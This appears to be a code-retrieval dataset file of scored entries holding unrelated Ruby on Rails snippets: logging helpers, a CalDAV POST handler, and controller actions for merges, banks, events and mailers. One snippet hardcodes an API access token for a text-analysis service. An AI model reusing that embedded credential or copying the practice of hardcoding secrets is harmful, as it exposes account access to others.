$evm.log(\"info\",\"#{@method} - EMS:<#{ems.name}> End Associations [ems.associations]\")\n $evm.log(\"info\",\"\")\n\n $evm.log(\"info\",\"#{@method} - EMS:<#{ems.name}> Begin EMS Folders [ems.ems_folders]\")\n ems.ems_folders.each { |ef| ef.attributes.sort.each { |k,v| $evm.log(\"info\", \"#{@method} - EMS:<#{ems.name}> EMS Folder:<#{ef.name}> #{k}: #{v.inspect}\")}}\n $evm.log(\"info\",\"#{@method} - EMS:<#{ems.name}> End EMS Folders [ems.ems_folders]\")\n $evm.log(\"info\",\"\")\n\n unless ems.tags.nil?\n $evm.log(\"info\",\"#{@method} - EMS:<#{ems.name}> Begin Tags [ems.tags]\")\n ems.tags.sort.each { |tag_element| tag_text = tag_element.split('/'); $evm.log(\"info\", \"#{@method} - EMS:<#{ems.name}> Category:<#{tag_text.first.inspect}> Tag:<#{tag_text.last.inspect}>\")}\n $evm.log(\"info\",\"#{@method} - EMS:<#{ems.name}> End Tags [ems.tags]\")\n $evm.log(\"info\",\"\")\n end\n\n $evm.log(\"info\",\"#{@method} - EMS:<#{ems.name}> Begin Virtual Columns [ems.virtual_column_names]\")\n ems.virtual_column_names.sort.each { |vcn| $evm.log(\"info\", \"#{@method} - EMS:<#{ems.name}> Virtual Columns - #{vcn}: #{ems.send(vcn)}\")}\n $evm.log(\"info\",\"#{@method} - EMS:<#{ems.name}> End Virtual Columns [ems.virtual_column_names]\")\n $evm.log(\"info\",\"\")\n end", "title": "" }, { "docid": "2a47f493f4636e0496ca9d97eb95b7d1", "score": "0.4286631", "text": "def add_attachments\n @dialog.setSubStatusAndLogIt('Getting attachments')\n @dialog.setSubProgress(1, 5)\n u = ITEM_UTILITY.union(@items['endpoint-attach'], @items['thread-attach'])\n @dialog.logMessage(\"Finding attachments from #{u.size} items with status: endpoint-attach OR thread-attach\")\n @dialog.setSubProgress(2)\n a = ITEM_UTILITY.find_descendants(u)\n @dialog.logMessage(\"Found #{a.size} descendants\")\n @dialog.setSubProgress(3)\n d = ITEM_UTILITY.deduplicate(a)\n @dialog.logMessage(\"Adding #{d.size} deduplicated items (attachments)\")\n @dialog.setSubProgress(4)\n d.to_a\n end", "title": "" }, { "docid": "b7052c428546b2818b2a29151948e740", "score": "0.42840597", "text": "def merge(xml1, file2)\n xml2 = File.read(file2)\n return xml2 unless xml1\n\n merge_xml(xml1, xml2)\n end", "title": "" }, { "docid": "6b19ca75715f642674a46e14591f578d", "score": "0.4275106", "text": "def http_post(request, response)\n path = request.path\n\n # Only handling xml\n content_type = request.header('Content-Type')\n return nil unless content_type.index('application/xml') || content_type.index('text/xml')\n\n # Making sure the node exists\n begin\n node = @server.tree.node_for_path(path)\n rescue Dav::Exception::NotFound\n return nil\n end\n\n request_body = request.body_as_string\n\n # If this request handler could not deal with this POST request, it\n # will return 'null' and other plugins get a chance to handle the\n # request.\n #\n # However, we already requested the full body. This is a problem,\n # because a body can only be read once. This is why we preemptively\n # re-populated the request body with the existing data.\n request.body = request_body\n\n document_type_box = Box.new('')\n message = @server.xml.parse(request_body, request.url, document_type_box)\n document_type = document_type_box.value\n\n case document_type\n # Dealing with the 'share' document, which modified invitees on a\n # calendar.\n when \"{#{Plugin::NS_CALENDARSERVER}}share\"\n # We can only deal with IShareableCalendar objects\n return true unless node.is_a?(IShareableCalendar)\n\n @server.transaction_type = 'post-calendar-share'\n\n # Getting ACL info\n acl = @server.plugin('acl')\n\n # If there's no ACL support, we allow everything\n acl.check_privileges(path, '{DAV:}write') if acl\n\n node.update_shares(message.set, message.remove)\n\n response.status = 200\n # Adding this because sending a response body may cause issues,\n # and I wanted some type of indicator the response was handled.\n response.update_header('X-Sabre-Status', 'everything-went-well')\n\n # Breaking the event chain\n return false\n # The invite-reply document is sent when the user replies to an\n # invitation of a calendar share.\n when \"{#{Plugin::NS_CALENDARSERVER}}invite-reply\"\n\n # This only works on the calendar-home-root node.\n return true unless node.is_a?(CalendarHome)\n\n @server.transaction_type = 'post-invite-reply'\n\n # Getting ACL info\n acl = @server.plugin('acl')\n\n # If there's no ACL support, we allow everything\n acl.check_privileges(path, '{DAV:}write') if acl\n\n url = node.share_reply(\n message.href,\n message.status,\n message.calendar_uri,\n message.in_reply_to,\n message.summary\n )\n\n response.status = 200\n # Adding this because sending a response body may cause issues,\n # and I wanted some type of indicator the response was handled.\n response.update_header('X-Sabre-Status', 'everything-went-well')\n\n if url\n writer = @server.xml.writer\n writer.open_memory\n writer.start_document\n writer.start_element(\"{#{Plugin::NS_CALENDARSERVER}}shared-as\")\n writer.write(Dav::Xml::Property::Href.new(url))\n writer.end_element\n response.update_header('Content-Type', 'application/xml')\n response.body = writer.output_memory\n end\n\n # Breaking the event chain\n return false\n when \"{#{Plugin::NS_CALENDARSERVER}}publish-calendar\"\n # We can only deal with IShareableCalendar objects\n return true unless node.is_a?(IShareableCalendar)\n\n @server.transaction_type = 'post-publish-calendar'\n\n # Getting ACL info\n acl = @server.plugin('acl')\n\n # If there's no ACL support, we allow everything\n acl.check_privileges(path, '{DAV:}write') if acl\n\n node.publish_status = true\n\n # iCloud sends back the 202, so we will too.\n response.status = 202\n\n # Adding this because sending a response body may cause issues,\n # and I wanted some type of indicator the response was handled.\n response.update_header('X-Sabre-Status', 'everything-went-well')\n\n # Breaking the event chain\n return false\n when \"{#{Plugin::NS_CALENDARSERVER}}unpublish-calendar\"\n # We can only deal with IShareableCalendar objects\n return true unless node.is_a?(IShareableCalendar)\n\n @server.transaction_type = 'post-unpublish-calendar'\n\n # Getting ACL info\n acl = @server.plugin('acl')\n\n # If there's no ACL support, we allow everything\n acl.check_privileges(path, '{DAV:}write') if acl\n\n node.publish_status = false\n\n response.status = 200\n\n # Adding this because sending a response body may cause issues,\n # and I wanted some type of indicator the response was handled.\n response.update_header('X-Sabre-Status', 'everything-went-well')\n\n # Breaking the event chain\n return false\n end\n end", "title": "" }, { "docid": "db931e2aab6ccdabfa8267729b578b5b", "score": "0.42597103", "text": "def put_merchants_into_iso_group\n if @merchants\n @logger.info(\"Puting merchants into ISO groups\")\n @merchants.each do |merchant|\n unless (merchant.emp_agent.empty? || merchant.emp_agent.first.emp_iso.empty?)\n sg = find_sugarcrm_object('security_group','name', merchant.emp_agent.first.emp_iso.first.name) \n @logger.info(\"Puting merchant #{merchant.name} into ISO group\")\n \n if sg\n merchant.associate! sg\n put_email_objects_into_iso_group(sg, merchant.sf_id)\n put_payment_methods_objects_into_iso_group(sg, merchant.sf_id)\n end\n \n bank = find_sugarcrm_object('settlement_bank_account', 'sf_merchant', merchant.sf_id)\n if (bank)\n @logger.info(\"Puting Bank Account for #{merchant.name} into ISO group\")\n put_bank_accounts_into_iso_group(bank, sg)\n end\n end\n end\n end\n end", "title": "" }, { "docid": "ec02148016eb623809d54b7c87d9cb1b", "score": "0.42592567", "text": "def save\n collections = [participants, people,\n contacts, events, instruments,\n response_sets,\n question_response_sets\n ].map { |c| current_for(c).compact }\n\n ActiveRecord::Base.transaction do\n collections.map { |c| save_collection(c) }.all?.tap do |ok|\n if ok\n logger.debug { \"Re-saving response sets\" }\n current_for(response_sets).select { |rs| rs }.each { |rs| rs.target.reload.save }\n logger.info { 'Merge saved' }\n else\n logger.fatal { 'Errors raised during save; rolling back' }\n raise ActiveRecord::Rollback\n end\n end\n end\n end", "title": "" }, { "docid": "f7b6a5e3e8e5d97ce206b730377899f6", "score": "0.42582533", "text": "def update\n @tags = params[:tags].split(',')\n @tagged = []\n for prev in Tagging.where(taggable_id: @question.id, taggable_type: 'Question')\n prev.destroy\n end\n respond_to do |format|\n if @question.update(question_params)\n @activity = Activity.create(user_id: current_user.id, activity_type: 'Update', target_type: 'Question', target_id: @question.id)\n for tag in @tags\n if !tag.blank?\n @tag = Tag.where(title: tag).first\n if @tag.blank?\n @tag = Tag.create(title: tag, user_id: current_user.id)\n end\n @tagging = Tagging.where(taggable_id: @question.id, taggable_type: 'Question', tag_id: @tag.id).first\n if @tagging.blank?\n @tagging = Tagging.create(taggable_id: @question.id, taggable_type: 'Question', tag_id: @tag.id)\n end\n end\n end\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "34042e6e0d3596c7216ebae5ebba147b", "score": "0.42519554", "text": "def create_new_ingest_payload( xml_doc )\n\n\n payload = {}\n\n #\n # add all the required fields\n #\n\n # creation date\n payload[ :create_date ] = CurationConcerns::TimeService.time_in_utc.strftime( \"%Y-%m-%d\" )\n\n # document title\n node = xml_doc.css( 'mods titleInfo title' ).first\n title = node.text if node\n payload[ :title ] = title if title.present?\n\n # document abstract\n node = xml_doc.css( 'mods abstract' ).first\n abstract = node.text if node\n payload[ :abstract ] = abstract if IngestHelpers.field_supplied( abstract )\n\n # document author\n found = false\n name_nodes = xml_doc.css( 'mods name' )\n name_nodes.each do |nn|\n nodes = nn.css( 'roleTerm' )\n nodes.each do |rt|\n if rt.get( 'type' ) == 'text' && rt.text == 'author'\n found = true\n break\n end\n end\n if found\n #puts \"Found AUTHOR\"\n fn, ln, dept = '', '', ''\n\n nodes = nn.css( 'namePart' )\n nodes.each do |np|\n case np.get( 'type' )\n when 'given'\n fn = np.text.chomp( ',' ) # remove a trailing comma\n when 'family'\n ln = np.text\n end\n end\n\n node = nn.css( 'description' ).first\n dept = node.text if node\n\n payload[ :author_first_name ] = fn if IngestHelpers.field_supplied( fn )\n payload[ :author_last_name ] = ln if IngestHelpers.field_supplied( ln )\n payload[ :department ] = dept if IngestHelpers.field_supplied( dept )\n break\n end\n end\n\n # issue date\n node = xml_doc.css( 'mods dateIssued' ).first\n issued_date = node.text if node\n payload[ :issued ] = issued_date if issued_date.present?\n\n # embargo attributes\n #embargo_type = solr_doc.at_path( 'release_to_t[0]' )\n #payload[ :embargo_type ] = embargo_type if embargo_type.present?\n #release_date = solr_doc.at_path( 'embargo_embargo_release_date_t[0]' )\n #payload[ :embargo_release_date ] = release_date if release_date.present?\n #payload[ :embargo_period ] =\n # IngestHelpers.estimate_embargo_period( issued_date, release_date ) if issued_date.present? && release_date.present?\n\n # document source\n node = xml_doc.css( 'mods identifier' ).first\n source = node.text if node\n # the space is there for a reason... SOLR stuff, dont ask!!\n payload[ :source ] = \"#{GenericWork::THESIS_SOURCE_INGEST} :#{source}\" if source.present?\n\n #\n # handle optional fields\n #\n\n # degree program\n node = xml_doc.css( 'mods degree level' ).first\n degree = node.text if node\n payload[ :degree ] = degree if degree.present?\n\n # keywords\n keywords = []\n topic_nodes = xml_doc.css( 'mods topic' )\n topic_nodes.each do |tn|\n kwtext = tn.text\n next if kwtext == 'JTIngest'\n kwords = kwtext.split( ' -- ' )\n kwords.each do |kw|\n w = kw.chomp( ',' ) # remove a trailing comma if present\n keywords << w unless keywords.include?( w )\n end\n end\n payload[ :keywords ] = keywords unless keywords.empty?\n\n # language\n node = xml_doc.css( 'mods language' ).first\n language = node.text if node\n payload[ :language ] = IngestHelpers.language_code_lookup( language ) if language.present?\n\n # notes\n node = xml_doc.css( 'mods note' ).first\n notes = node.text if node\n payload[ :notes ] = notes if notes.present?\n\n return payload\n end", "title": "" }, { "docid": "dd617e5f7dc6f361c692df324a86415c", "score": "0.42502952", "text": "def updategenres\n @album = Album.find(params[:id])\n album_param = params[:albums] \n album_param[:genres].each do |genre_id|\n genre = Genre.find(genre_id)\n @album.genres << genre \n end \n respond_to do |format|\n format.html { redirect_to(@album) }\n format.xml { head :ok }\n end \n end", "title": "" }, { "docid": "1b7b243b64d35c77a60d6a8748314ddd", "score": "0.42485896", "text": "def webhook_to_concierge\n request_body = read_request_body(env)\n json_payload = json_decode(request_body)\n return false unless json_payload.success?\n\n @webhook_payload = json_payload.value\n event = webhook_payload[\"event\"]\n\n case event\n when \"quote_instant\"\n concierge_request.quote(webhook_payload)\n when \"checkout_instant\"\n concierge_request.checkout(webhook_payload)\n when \"booked_instant\"\n concierge_request.booking(webhook_payload)\n when \"cancelled\"\n concierge_request.cancelled(webhook_payload)\n else\n # event is not recognized and should not be handled.\n false\n end\n end", "title": "" }, { "docid": "7cb7cd15a49a972866a577453ce3e339", "score": "0.42454502", "text": "def merge(user_name, repo_name, params={})\n normalize! params\n filter! VALID_MERGE_PARAM_NAMES, params\n assert_required_keys REQUIRED_MERGE_PARAMS, params\n\n post_request(\"/repos/#{user_name}/#{repo_name}/merges\", params)\n end", "title": "" }, { "docid": "8550845b59714345c13d031c81a33f61", "score": "0.42442742", "text": "def create\n\t@users = User.all\n \t@event = Event.new(params[:event])\n @tags = params[:tags][:tags]\n @tags=@tags.split\n \n @tags.each do |tag|\n \tnew_tag = Tag.new(:name => tag)\n \tnew_tag.save\n \t@event.tags << new_tag\n end\n \n if @current_user.admin\n \t@event.confirmation = true\n \t@event.save\n end\n\n respond_to do |format|\n if @event.save\n \t@users.each do |user|\n \t\tif user.admin && !@current_user.admin\n \t\t\tUserMailer.event_to_confirm(user, @event).deliver\n \t\t\telse\n \t\t\tif user.id == @current_user.id\n\t \t\t\tUserMailer.your_new_event(user, @event).deliver\n\t \t\t\telse\n\t \t\t\t\tUserMailer.new_event(user, @event).deliver\n \t\t\t\tend\n \t\t\tend\n \t\tend\n format.html { redirect_to @event, notice: 'Wydarzenie dodane do bazy danych' }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c32102ae4166d4dfdc4f8098b2f4aede", "score": "0.42394271", "text": "def seo_submit\n for search_engine in ::Pingr::SUPPORTED_SEARCH_ENGINES\n ::Pingr::Request.new(search_engine, pages_url(format: :xml)).ping\n end\n \n redirect_to({:action => :index}, {:notice => '<strong>Yay!</strong> Sitemap XML has been submitted to all supported search engines!'.html_safe})\n end", "title": "" }, { "docid": "c0d5e27ab89c596ea18beb6ab5091732", "score": "0.42363492", "text": "def update\n respond_to do |format|\n if @merge.update(merge_params)\n format.html { redirect_to @merge, notice: 'Merge was successfully updated.' }\n format.json { render :show, status: :ok, location: @merge }\n else\n format.html { render :edit }\n format.json { render json: @merge.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e7b101a010b0174950e5abf30c1a56fb", "score": "0.42328748", "text": "def import_opml\n respond_to do |wants|\n wants.xml do\n @feeds = []\n if params[:opml]\n @feeds = params[:opml].feeds.map do |f|\n feed = Feed.find_or_create_by_url(f.xmlUrl)\n feed.created_by = params[:created_by] if !params[:created_by].nil?\n feed.title = f.title if f.title and feed.title.nil?\n feed.save\n feed\n end\n else\n logger.debug(\"import_opml called without opml file\")\n end\n render :xml => @feeds.to_xml\n end\n end\n end", "title": "" }, { "docid": "2ec1e33bda793e8f7abcf6e419d09914", "score": "0.42254773", "text": "def share_candidates\n c_ids = params[:candidates_ids].split(',').map(&:to_i)\n emails = []\n params[:emails].each do |e|\n company = User.where(email: e).first\n if company.present?\n c_ids.each do |id|\n current_company.active_relationships.create(candidate_id: id, shared_to_id: company.company_id)\n end\n end\n\n email = e.include?('[') ? JSON.parse(e) : e\n emails << email\n end\n params[:emails_bcc].each do |e|\n company = User.where(email: e).first\n if company.present?\n c_ids.each do |id|\n current_company.active_relationships.create(candidate_id: id, shared_to_id: company.company_id)\n end\n end\n\n email = e.include?('[') ? JSON.parse(e) : e\n emails << email\n end\n\n User.share_candidates(current_user.email, emails.flatten.uniq.split(','), c_ids, current_company, params[:message], params[:subject])\n # CandidateMailer.share_hot_candidates(params[:emails].split(\",\"),c_ids,current_company,params[:message]).deliver\n flash[:success] = 'Candidates shared successfully.'\n redirect_back fallback_location: root_path\n end", "title": "" }, { "docid": "3aae115336e3c244f82d1b4868643c5f", "score": "0.42237273", "text": "def publish\n eadid = (params[\"eadid\"] || \"\").strip\n if eadid == \"\"\n log_error(\"Cannot publish EAD. No ID was provided.\")\n flash[:alert] = \"No EAD ID was provided.\"\n redirect_to upload_list_url()\n return\n end\n\n source = ENV[\"EAD_XML_PENDING_FILES_PATH\"] + \"/\" + eadid + \".xml\"\n target = ENV[\"EAD_XML_FILES_PATH\"] + \"/\" + eadid + \".xml\"\n if !File.exist?(source)\n log_error(\"Cannot publish EAD. Source file not found: #{source}\")\n flash[:alert] = \"Source file not found for finding aid: #{eadid}.\"\n redirect_to upload_list_url()\n return\n end\n\n FileUtils.mv(source, target)\n if !File.exist?(target)\n log_error(\"Cannot publish EAD. File move failed: #{source} => #{target}\")\n flash[:alert] = \"Could not publish finding aid #{eadid}.\"\n redirect_to upload_list_url()\n return\n end\n\n Rails.logger.info(\"Published EAD #{eadid}\")\n\n # Touch the file so our reindexed notices that the file has been updated\n FileUtils.touch(target)\n\n # TODO: remove hard-coded logic for Kate Bornstein\n one_MB = 1014 * 1014\n if File.size(target) > one_MB || eadid == \"US-RPB-ms2018.010\"\n # For large files we let a cronjob handle the reindex via:\n # bundle exec rake riamco:update_eads[/path/to/ead/xml/files]\n flash[:notice] = \"Finding aid #{eadid} has been published and will be reindexed in the next half hour.\"\n redirect_to upload_list_url()\n else\n solr_url = ENV[\"SOLR_URL\"]\n importer = EadImport.new(target, solr_url)\n importer.import_updated()\n\n flash[:notice] = \"Finding aid #{eadid} has been published and reindexed.\"\n redirect_to upload_list_url()\n end\n\n rescue => ex\n render_error(\"publish\", ex, current_user)\n end", "title": "" }, { "docid": "2b1189ef3a37d6e2b33e3fc77afccb29", "score": "0.42190245", "text": "def issuers\n commit(build_directory_request)\n end", "title": "" }, { "docid": "b4bb5e53624070b33a41fd51999b3dda", "score": "0.4215622", "text": "def create\n @educator = Educator.new(params[:educator])\n ong_desc = params[:ong_desc]\n union_movement_desc = params[:union_movement_desc]\n educator_years = params[:educator_years]\n educator_popular_education_years = params[:educator_popular_education_years]\n respond_to do |format|\n if @educator.save\n if !@educator.social_participations.first.nil?\n @educator.social_participations.first.save_with_descs(ong_desc, union_movement_desc)\n end\n if !@educator.educators_education_exps.first.nil?\n @educator.educators_education_exps.first.update_with_years(educator_years, educator_popular_education_years)\n end\n flash[:success] = t('educator.created')\n format.html { redirect_to(educators_path) }\n format.xml { render :xml => @educator, :status => :created, :location => @educator }\n else\n if @educator.core_id.nil?\n @rooms = []\n else\n @rooms = Core.find(core_id).rooms\n end\n \n flash[:error] = t('default_error_message')\n format.html { render :action => \"new\" }\n format.xml { render :xml => @educator.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6115f99a8fb5c827615d9b9a1376942d", "score": "0.4208732", "text": "def post_update!(options = {})\n rsp = post(prepare_update_xml(options))\n success?(rsp.body) or log_error(rsp.body)\n end", "title": "" }, { "docid": "92cfc3bc5a7c5bd32ea95a8a2493fd9a", "score": "0.42061597", "text": "def newly_approved_offers email, offers\n @contact_person = email.contact_people.first\n @offer = offers.count == 1 ? offers.first : nil\n @section_suffix = get_section_suffix offers\n @unsubscribe_href = get_sub_or_unsub_href email, 'unsubscribe'\n @offer_href = get_offer_href_for_single_offer offers.first, @section_suffix\n @vague_title = email.vague_contact_title?\n @overview_href_suffix = \"/emails/#{email.id}/angebote\"\n @utm_tagging_suffix = generate_utm_suffix offers, 'AO', 'FU'\n headers['X-SMTPAPI'] =\n { category: ['newly approved offer', @section_suffix] }.to_json\n send_emails email, offers, :newly_approved,\n t('.subject', count: offers.count,\n name: t(\n \".clarat_name_subject.#{@section_suffix}\"\n ))\n end", "title": "" }, { "docid": "16c6f0c34f4ad2fa50a6d593042eae8a", "score": "0.42006797", "text": "def upload_submission(sub_info)\n uri = URI.parse(TARGET_API)\n http = Net::HTTP.new(uri.host, uri.port)\n\n req = Net::HTTP::Post.new(\"/ontologies/#{sub_info['ontology']['acronym']}/submissions\")\n req['Content-Type'] = 'application/json'\n req['Authorization'] = \"apikey token=#{TARGET_APIKEY}\"\n\n # Check if the source BioPortal is pulling the ontology from an URL\n # If yes then we will pull the ontology from this place (allow auto update of the ontology when the ontology is changed in its source URL)\n if sub_info['pullLocation'].nil?\n pull_location = \"#{sub_info['ontology']['links']['download']}?apikey=#{SOURCE_APIKEY}\"\n else\n pull_location = sub_info['pullLocation']\n end\n\n # Extract contacts\n contacts = []\n sub_info['contact'].each do |contact|\n contacts.push({'name': contact['name'],'email': contact['email']})\n end\n\n # Build the json body\n # hasOntologyLanguage options: OWL, UMLS, SKOS, OBO\n # status: alpha, beta, production, retired\n req.body = {\n 'contact': contacts,\n 'hasOntologyLanguage': sub_info['hasOntologyLanguage'],\n 'released': sub_info['released'],\n 'ontology': \"#{TARGET_API}/ontologies/#{sub_info['ontology']['acronym']}\",\n 'description': sub_info['description'],\n 'status': sub_info['status'],\n 'version': sub_info['version'],\n 'homepage': sub_info['homepage'],\n 'documentation': sub_info['documentation'],\n 'publication': sub_info['publication'],\n 'naturalLanguage': sub_info['naturalLanguage'],\n 'pullLocation': pull_location\n }.to_json\n\n #puts req.body.to_s\n response = http.start do |http|\n http.request(req)\n end\n\n return response\nend", "title": "" }, { "docid": "94f109a5497034509c0599078c6aa664", "score": "0.41997144", "text": "def tag!(params = {})\n self.post params, edge: :tags\n end", "title": "" }, { "docid": "9715312b4bf137d62e1a383daf5f5f8f", "score": "0.41950488", "text": "def destroy\n @merge.destroy\n respond_to do |format|\n format.html { redirect_to merges_url, notice: 'Merge was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d376d68b5b82ed15b956ad07818d1f83", "score": "0.4191509", "text": "def create\n @animal = Animal.find(params[:animal_id])\n @event = Event.new(event_params)\n @event.animal = @animal\n \n #se encontrado, envia email para usuário com animal perdido\n if @event.status == \"encontrado\"\n #chama método no model\n @nearbys = @event.same_region\n\n if @nearbys\n #busca os users\n @nearbys.each do |event|\n @animal_region = event.animal\n @user_region = event.animal.user\n NearbyMailer.region_email(@user_region, @animal_region, @event.animal).deliver_now\n end\n end\n end\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to :controller => 'search', :action => 'search', notice: 'Event criado com sucesso' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7a971f96efbc1be7fd05cce05227993c", "score": "0.41862535", "text": "def merge!; end", "title": "" }, { "docid": "fadaebbf3c59eae2db3af1da3c06a3c9", "score": "0.41808483", "text": "def update(connection)\n connection.process(Document::Merge.new(self).xml)\n self\n end", "title": "" }, { "docid": "5a98f55ea37c77a464d74d73c5e15b94", "score": "0.41773012", "text": "def data_synchronise_submissions submissions\n submissions.each do |submission|\n data_synchronise_submission submission\n end\n end", "title": "" }, { "docid": "12866289d5098a9ad100abe8d8862062", "score": "0.4176078", "text": "def expunge\n multi_data_response(\"EXPUNGE\").transform do |untagged_responses|\n untagged_responses.map(&:data)\n end\n end", "title": "" }, { "docid": "cf936171225ebcfbced888fe7b8a8b29", "score": "0.41676697", "text": "def generate_tags\n uri = URI.parse(\"https://api.thomsonreuters.com/permid/calais\")\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n post_body = []\n post_body << \"<Document><Body>\"\n # stip html\n post_body << ActionView::Base.full_sanitizer.sanitize(params[:desc])\n # no strip\n # post_body << params[:desc]\n post_body << \"</Body></Document>\"\n request = Net::HTTP::Post.new(uri.request_uri)\n request.add_field(\"Content-Type\",\"text/xml\")\n request.add_field(\"outputFormat\",\"application/json\")\n #request.add_field(\"outputFormat\",\"text/n3\") \n request.add_field(\"x-ag-access-token\",\"fY7WUM3GGCXHm9ATOhtzhrvlWX8oPo5X\")\n request.body = post_body.join\n # request[\"Content-Type\"] = \"multipart/form-data, boundary=#{BOUNDARY}\"\n\n render :json => http.request(request).body\n end", "title": "" }, { "docid": "2327f3861e34634b3da7937494dbea07", "score": "0.4165691", "text": "def mergerer\n\n end", "title": "" }, { "docid": "2327f3861e34634b3da7937494dbea07", "score": "0.4165691", "text": "def mergerer\n\n end", "title": "" }, { "docid": "508a063d8984422aa8e114274d3c9fd0", "score": "0.41581208", "text": "def upsert_marketo_lead(params)\n # todo: verify required fields? perhaps get form fields and validation logic from marketo?\n # removing params included by rails\n params.delete :action\n params.delete :controller\n params.delete :marketo_form\n # parse incoming values to json\n body = {\n #\"action\"=>\"createOnly\",\n \"lookupField\"=>\"email\",\n \"input\"=>[params]\n }.to_json\n @body = body\n # set post uri\n uri = URI(Config.get_create_lead_url)\n # setup http request\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n uri.query = \"access_token=#{get_marketo_token}\"\n request = Net::HTTP::Post.new(uri, { 'Content-Type' => 'application/json' })\n request.body = @body\n # make http request\n response = http.request(request)\n return response.body\n end", "title": "" }, { "docid": "384ce5c0c5cc3958201fb33f5b31c74f", "score": "0.41518304", "text": "def update\n params[:interview][:participant_ids].each do |participant_id|\n unless participant_id.empty?\n participant = Participant.find(participant_id)\n @interview.participants << participant\n end\n end\n respond_to do |format|\n\n if @interview.update(interview_params)\n participants = @interview.participants\n emails = []\n participants.each do |p|\n emails += [p.email]\n ReminderMailer.update_email(p.email).deliver_now\n end\n format.html { redirect_to @interview, notice: 'Interview was successfully updated.' }\n format.json { render :show, status: :ok, location: @interview }\n else\n format.html { render :edit }\n format.json { render json: @interview.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "38b499e468e3a818b09b60616c8ea6ae", "score": "0.4149798", "text": "def merge\n document.update_attributes :access => access\n email_on_complete\n super\n end", "title": "" }, { "docid": "c4c36040a235f1df8db4d0f92fbc72be", "score": "0.41449866", "text": "def create\n @mergegraph = Admin::Mergegraph.new(mergegraph_params)\n\n respond_to do |format|\n if @mergegraph.save\n format.html { redirect_to @mergegraph, notice: 'Mergegraph was successfully created.' }\n format.json { render action: 'show', status: :created, location: @mergegraph }\n else\n @merge = Admin::Merge.find(@mergegraph.merge_id)\n format.html { render action: 'new' }\n format.json { render json: @mergegraph.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
232144d5bc89ac107732f0dcadac0e3a
PUT /banks/1 PUT /banks/1.json
[ { "docid": "fd8fbdf1743bed28b7a311765f13e83a", "score": "0.652126", "text": "def update\n @bank = Bank.find(params[:id])\n\n respond_to do |format|\n if @bank.update_attributes(params[:bank])\n format.html { redirect_to @bank, notice: 'Bank was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bank.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "069d3b823851c46a7578d78ee3a6b3de", "score": "0.6772693", "text": "def update\n if @bank.update(bank_params)\n render :show, status: :ok, location: @bank\n else\n render json: @bank.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "af5acc232a3495557a07c4fcaa7b4dd0", "score": "0.64411086", "text": "def update\n respond_to do |format|\n if @bank.update(bank_params)\n format.html { redirect_to @bank, notice: 'Bank was successfully updated.' }\n format.json { render :show, status: :ok, location: @bank }\n else\n format.html { render :edit }\n format.json { render json: @bank.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5201ec418ffd7d79064643a12877a898", "score": "0.64141375", "text": "def set_bank\n @bank = Bank.find(params[:id])\n end", "title": "" }, { "docid": "276daa642fb0734e364d3ec5df1f716b", "score": "0.6404296", "text": "def set_bank\n @bank = Bank.find(params[:id])\n end", "title": "" }, { "docid": "276daa642fb0734e364d3ec5df1f716b", "score": "0.6404296", "text": "def set_bank\n @bank = Bank.find(params[:id])\n end", "title": "" }, { "docid": "276daa642fb0734e364d3ec5df1f716b", "score": "0.6404296", "text": "def set_bank\n @bank = Bank.find(params[:id])\n end", "title": "" }, { "docid": "54a3f45ca9e66d421b3552be34374262", "score": "0.6292963", "text": "def update\n @bank.user_updated_id = current_user.id\n respond_to do |format|\n if @bank.update(bank_params)\n format.html { redirect_to banks_path, notice: I18n.t('banks.controller.update') }\n format.json { render :show, status: :ok, location: @bank }\n else\n format.html { render :edit }\n format.json { render json: @bank.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6fbb99f6a7fcaae8652dc727d62a6d6b", "score": "0.62222826", "text": "def update\n if params[:id]\n @symbol_bank = SymbolBank.find(params[:id])\n\n respond_to do |format|\n if @symbol_bank.update_attributes(params[:symbol_bank])\n format.html { redirect_to @symbol_bank, notice: 'Symbol bank was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @symbol_bank.errors, status: :unprocessable_entity }\n end\n end\n end\n end", "title": "" }, { "docid": "e8b1034127bdc798f4a83604e3b07c87", "score": "0.62042546", "text": "def update\n budgets = update_budgets(params[:budgets])\n\n render json: budgets, status: :ok\n end", "title": "" }, { "docid": "5b2cb5adec5fe17dadd063ec02fbab7a", "score": "0.61274856", "text": "def index\n @banks = Bank.all\n render json: @banks\n end", "title": "" }, { "docid": "7d20fe9d22bb4ac06141dc5aa4f205f7", "score": "0.6121971", "text": "def update\n @title = t('view.banks.edit_title')\n @bank = Bank.find(params[:id])\n\n respond_to do |format|\n if @bank.update_attributes(params[:bank])\n format.html { redirect_to @bank, notice: t('view.banks.correctly_updated') }\n format.json { head :ok }\n else\n format.html { render action: 'edit' }\n format.json { render json: @bank.errors, status: :unprocessable_entity }\n end\n end\n rescue ActiveRecord::StaleObjectError\n redirect_to edit_bank_url(@bank), alert: t('view.banks.stale_object_error')\n end", "title": "" }, { "docid": "ffb2a3bebb478f598d86a742e372a901", "score": "0.6078111", "text": "def update\n @breadcrumb = 'update'\n @bank = Bank.find(params[:id])\n @bank.updated_by = current_user.id if !current_user.nil?\n \n respond_to do |format|\n if @bank.update_attributes(params[:bank])\n format.html { redirect_to @bank,\n notice: 